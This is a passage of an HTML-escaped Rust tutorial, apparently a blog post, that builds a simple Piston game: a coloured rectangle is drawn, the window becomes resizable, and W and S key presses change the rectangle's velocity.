style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; main()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;rect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ColoredRect::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window: PistonWindow&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;WindowSettings::new(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Hello Piston!&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;640&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;480&lt;/span&gt;])&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.exit_on_esc(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.vsync(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.build().unwrap();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Some(e)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window.next()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;e&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;Input::Render(_)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;window.draw_2d(&amp;amp;e,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|c,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;clear([&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Clear to white&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                    &lt;/span&gt;rectangle(rect.color,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Color&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;rect.position,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Position/size&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                                &lt;/span&gt;c.transform,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;});&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;Input::Update(u)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;rect.update(u.dt,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#00f&#34;&gt;640.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;480.0&lt;/span&gt;));&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can now also add in resizeablilty! The &lt;code&gt;Event::Render&lt;/code&gt; enum provides a &lt;code&gt;RenderArgs&lt;/code&gt; struct which, among other things, has &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; fields. We can use a mutable binding to allow this to be resized every frame, and pass that into &lt;code&gt;update()&lt;/code&gt; instead of the hardcoded 640 x 480. Unfortunately, these are given as &lt;code&gt;f32&lt;/code&gt; and our physics code needs &lt;code&gt;f64&lt;/code&gt;, so we have to upcast.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window_size: (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Some(e)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window.next()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;e&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Input::Render(r)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;window_size&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(r.width&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;r.height&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;window.draw_2d(&amp;amp;e,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|c,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;clear([&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Clear to white&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;rectangle(rect.color,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Color&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;rect.position,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Position/size&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;c.transform,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;});&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Input::Update(u)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;rect.update(u.dt,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window_size);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;_&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For controls, one of the simplest things to add is a velocity control. We can do this by adding a &lt;code&gt;change_velocity&lt;/code&gt; function to the &lt;code&gt;ColoredRect&lt;/code&gt; object. We&amp;rsquo;ll then see how to call that from keyboard events. The function itself is simple:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; change_velocity(&amp;amp;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;factor: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;                                                                                                                                                                                                        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;factor;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;*=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;factor;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We also have to complicate the match statement. All input events are encapsulated in &lt;code&gt;Event::Input(Input)&lt;/code&gt;, so we match on that and add a sub-match that looks for the &lt;code&gt;Press&lt;/code&gt;, and a submatch under &lt;em&gt;that&lt;/em&gt; for the keys we want (w and s, in this case). When W is pressed, we increase velocity by a factor of 1.1, and when S is pressed, we use a factor by 0.9.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Some(e)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window.next()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;match&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;e&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Input::Render(r)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;window_size&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;(r.width&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;r.height&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;as&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;window.draw_2d(&amp;amp;e,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|c,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;clear([&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Clear to white&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                &lt;/span&gt;rectangle(rect.color,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Color&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;rect.position,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Position/size&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;                            &lt;/span&gt;c.transform,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;g);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;});&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Input::Update(u)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;rect.update(u.dt,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window_size);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;Input::Press(b)&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; 